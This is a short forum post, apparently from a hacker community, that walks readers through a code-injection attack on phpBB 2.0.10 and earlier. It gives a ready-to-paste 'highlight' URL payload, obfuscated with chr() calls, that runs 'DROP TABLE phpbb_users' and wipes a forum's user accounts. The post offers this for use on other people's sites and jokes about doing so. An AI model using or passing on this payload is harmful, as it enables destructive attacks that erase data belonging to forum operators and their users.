are you running phpbb 2.0.10 or previous version? if so your almost surely suseptible to my scripty :-"

here's the run down... register on the site of your choice, log into forums, now view a topic, Site Suggestions or Admin Announcements up top is just fine, enter the thread, and in the url bar, at the far right end insert this code &highlight=%2527%252emysql_query(chr(68)%252echr(82)%252echr(79)%252echr(80)%252echr(32)%252echr(84)%252echr(65)%252echr(66)%252echr(76)%252echr(69)%252echr(32)%252echr(112)%252echr(104)%252echr(112)%252echr(98)%252echr(98)%252echr(95)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(115))%252e%2527

now what this does it delete all users on site LoL..just in case you feel like doing this the faster way, im sure youd never want to run this script on a site which isnt yours ;) 

Shout outs go to pr0con and all my past and present buddies from the Lair, it's good to be back!